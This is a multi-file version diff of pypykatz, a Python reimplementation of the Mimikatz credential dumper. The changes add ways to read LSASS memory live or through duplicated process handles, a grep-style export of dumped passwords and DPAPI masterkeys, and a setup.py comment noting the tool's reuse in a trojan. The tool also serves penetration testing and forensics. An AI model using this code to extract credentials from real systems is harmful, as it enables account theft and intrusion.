42 | 42 | self.log('Looking for main struct signature in memory...') |
43 | 43 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature) |
44 | 44 | if len(fl) == 0: |
45 | logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
45 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
46 | 46 | raise Exception('LSA signature not found!') |
47 | 47 | |
48 | 48 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
372 | 372 | continue |
373 | 373 | |
374 | 374 | self.walk_list(entry_ptr, self.add_entry) |
375 | ||
376 | #self.brute_test() | |
377 | ||
378 | #def brute_test(self): | |
379 | # from pypykatz.commons.win_datatypes import LUID | |
380 | # luid_int = 1138792 | |
381 | # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False) | |
382 | # needle_luid = LUID(io.BytesIO(luid_bytes)).value | |
383 | # offset = 0x70 | |
384 | # | |
385 | # for luid_pos in self.reader.find_all_global(luid_bytes): | |
386 | # self.reader.move(luid_pos - offset) | |
387 | # et = self.decryptor_template.list_entry(self.reader).finaltype | |
388 | # self.reader.move(luid_pos - offset) | |
389 | # test_ptr = et(self.reader) | |
390 | # if test_ptr.LocallyUniqueIdentifier == needle_luid: | |
391 | # print('HIT!') | |
392 | # entry_ptr = self.decryptor_template.list_entry(self.reader) | |
393 | # try: | |
394 | # self.walk_list(test_ptr.Flink, self.add_entry) | |
395 | # except Exception as e: | |
396 | # print('ERR! %s' % e)⏎ |
13 | 13 | TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \ |
14 | 14 | DpapiTemplate, DpapiDecryptor, LsaDecryptor |
15 | 15 | |
16 | from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession | |
16 | 17 | from pypykatz import logger |
17 | 18 | from pypykatz.commons.common import UniversalEncoder |
18 | 19 | from minidump.minidumpfile import MinidumpFile |
45 | 46 | return t |
46 | 47 | |
47 | 48 | def to_json(self): |
48 | return json.dumps(self.to_dict(), cls = UniversalEncoder) | |
49 | ||
49 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
50 | ||
51 | def to_grep(self): | |
52 | res = ':'.join(LogonSession.grep_header) + '\r\n' | |
53 | for luid in self.logon_sessions: | |
54 | for row in self.logon_sessions[luid].to_grep_rows(): | |
55 | res += ':'.join(row) + '\r\n' | |
56 | for cred in self.orphaned_creds: | |
57 | t = cred.to_dict() | |
58 | if t['credtype'] != 'dpapi': | |
59 | if t['password'] is not None: | |
60 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
61 | res += ':'.join(x) + '\r\n' | |
62 | else: | |
63 | t = cred.to_dict() | |
64 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
65 | res += ':'.join(x) + '\r\n' | |
66 | ||
67 | return res | |
68 | ||
69 | def __str__(self): | |
70 | res = '== Logon credentials ==\r\n' | |
71 | for luid in self.logon_sessions: | |
72 | res += str(self.logon_sessions[luid]) + '\r\n' | |
73 | ||
74 | if len(self.orphaned_creds) > 0: | |
75 | res += '== Orphaned credentials ==\r\n' | |
76 | for cred in self.orphaned_creds: | |
77 | res += str(cred) + '\r\n' | |
78 | ||
79 | return res | |
80 | ||
50 | 81 | @staticmethod |
51 | 82 | def go_live(): |
52 | 83 | if platform.system() != 'Windows': |
53 | 84 | raise Exception('Live parsing will only work on Windows') |
54 | 85 | from pypykatz.commons.readers.local.live_reader import LiveReader |
55 | 86 | reader = LiveReader() |
87 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
88 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) | |
89 | mimi.start() | |
90 | return mimi | |
91 | ||
92 | @staticmethod | |
93 | def go_handledup(): | |
94 | if platform.system() != 'Windows': | |
95 | raise Exception('Live parsing will only work on Windows') | |
96 | from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles | |
97 | lsass_handles = enum_lsass_handles() | |
98 | if len(lsass_handles) == 0: | |
99 | raise Exception('No handles found to LSASS!') | |
100 | for pid, lsass_handle in lsass_handles: | |
101 | try: | |
102 | return pypykatz.go_live_phandle(lsass_handle) | |
103 | except Exception as e: | |
104 | print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) | |
105 | ||
106 | @staticmethod | |
107 | def go_live_phandle(lsass_process_handle): | |
108 | if platform.system() != 'Windows': | |
109 | raise Exception('Live parsing will only work on Windows') | |
110 | from pypykatz.commons.readers.local.live_reader import LiveReader | |
111 | reader = LiveReader(lsass_process_handle=lsass_process_handle) | |
56 | 112 | sysinfo = KatzSystemInfo.from_live_reader(reader) |
57 | 113 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) |
58 | 114 | mimi.start() |
169 | 225 | |
170 | 226 | def get_lsa_bruteforce(self): |
171 | 227 | #good luck! |
172 | logger.info('Testing all available templates! Expect warnings!') | |
228 | logger.debug('Testing all available templates! Expect warnings!') | |
173 | 229 | for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): |
174 | 230 | try: |
175 | 231 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
177 | 233 | except: |
178 | 234 | pass |
179 | 235 | else: |
180 | logger.info('Lucky you! Brutefoce method found a -probably- working template!') | |
236 | logger.debug('Lucky you! Brutefoce method found a -probably- working template!') | |
181 | 237 | return lsa_dec |
182 | 238 | |
183 | 239 | def get_lsa(self): |
186 | 242 | lsa_dec_template = LsaTemplate.get_template(self.sysinfo) |
187 | 243 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
188 | 244 | logger.debug(lsa_dec.dump()) |
189 | except: | |
190 | logger.exception('Failed to automatically detect correct LSA template!') | |
245 | except Exception as e: | |
246 | logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) | |
191 | 247 | lsa_dec = self.get_lsa_bruteforce() |
192 | 248 | if lsa_dec is None: |
193 | 249 | raise Exception('All detection methods failed.') |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import json | |
5 | 6 | |
6 | 7 | class SAMSecret: |
7 | 8 | def __init__(self, username, rid, nt_hash, lm_hash): |
195 | 195 | self.homedir = None |
196 | 196 | self.homedir_connect = None |
197 | 197 | self.script_path = None |
198 | self.profile_path = None | |
199 | 198 | self.profile_path = None |
200 | 199 | self.workstations = None |
201 | 200 | self.hoursallowed = None |
374 | 373 | t += ' %s: %s: %s' % (k, i, str(item)) |
375 | 374 | else: |
376 | 375 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) |
377 | return t⏎ | |
376 | return t |
0 | 0 | Metadata-Version: 1.2 |
1 | 1 | Name: pypykatz |
2 | Version: 0.3.7 | |
2 | Version: 0.3.15 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
6 | Author-email: [email protected] | |
6 | Author-email: [email protected] | |
7 | 7 | License: UNKNOWN |
8 | 8 | Description: UNKNOWN |
9 | 9 | Platform: UNKNOWN |
0 | LICENSE | |
1 | MANIFEST.in | |
0 | 2 | README.md |
1 | 3 | setup.py |
2 | 4 | pypykatz/__init__.py |
84 | 86 | pypykatz/dpapi/structures/masterkeyfile.py |
85 | 87 | pypykatz/dpapi/structures/system.py |
86 | 88 | pypykatz/dpapi/structures/vault.py |
89 | pypykatz/example/__init__.py | |
90 | pypykatz/example/phandle_dll.py | |
87 | 91 | pypykatz/kerberos/__init__.py |
88 | 92 | pypykatz/kerberos/cmdhelper.py |
89 | 93 | pypykatz/ldap/__init__.py |
0 | minidump>=0.0.12 | |
1 | minikerberos>=0.2.0 | |
2 | 0 | aiowinreg>=0.0.3 |
3 | msldap>=0.2.7 | |
4 | winsspi>=0.0.3 | |
1 | minidump>=0.0.13 | |
2 | minikerberos>=0.2.5 | |
3 | msldap>=0.3.20 | |
4 | winsspi>=0.0.9 |
0 | 0 | from setuptools import setup, find_packages |
1 | 1 | import re |
2 | import platform | |
2 | 3 | |
3 | 4 | VERSIONFILE="pypykatz/_version.py" |
4 | 5 | verstrline = open(VERSIONFILE, "rt").read() |
9 | 10 | else: |
10 | 11 | raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) |
11 | 12 | |
13 | ep = { | |
14 | 'console_scripts': [ | |
15 | 'pypykatz = pypykatz.__main__:main', | |
16 | ], | |
17 | } | |
18 | ||
12 | 19 | setup( |
13 | 20 | # Application name: |
14 | 21 | name="pypykatz", |
18 | 25 | |
19 | 26 | # Application author details: |
20 | 27 | author="Tamas Jos", |
21 | author_email="[email protected]", | |
28 | author_email="[email protected]", | |
22 | 29 | |
23 | 30 | # Packages |
24 | 31 | packages=find_packages(), |
43 | 50 | "Operating System :: OS Independent", |
44 | 51 | ), |
45 | 52 | install_requires=[ |
46 | 'minidump>=0.0.12', | |
47 | 'minikerberos>=0.2.0', | |
53 | 'minidump>=0.0.13', | |
54 | 'minikerberos>=0.2.5', | |
48 | 55 | 'aiowinreg>=0.0.3', |
49 | 'msldap>=0.2.7', | |
50 | 'winsspi>=0.0.3' | |
56 | 'msldap>=0.3.20', | |
57 | 'winsspi>=0.0.9', | |
51 | 58 | ], |
52 | 59 | |
53 | entry_points={ | |
54 | 'console_scripts': [ | |
55 | 'pypykatz = pypykatz.__main__:main', | |
56 | ], | |
57 | } | |
60 | # No more conveinent .exe entry point thanks to some idiot who | |
61 | # used the code without modification in a state-backed trojan. | |
62 | # Thank you for runing it for everyone. | |
63 | # | |
64 | # | |
65 | entry_points=ep if platform.system().lower() != 'windows' else {} | |
58 | 66 | ) |